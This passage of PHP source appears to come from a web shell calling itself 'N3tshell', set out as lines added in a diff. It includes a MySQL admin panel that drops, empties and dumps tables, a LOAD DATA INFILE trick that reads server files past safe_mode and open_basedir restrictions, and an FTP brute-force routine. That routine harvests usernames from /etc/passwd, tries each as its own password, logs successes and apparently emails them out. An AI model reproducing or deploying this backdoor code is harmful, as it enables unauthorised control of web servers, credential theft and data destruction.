"DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function N3tftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called N3tshell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (N3tftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"N3tshell v. ".$shver." 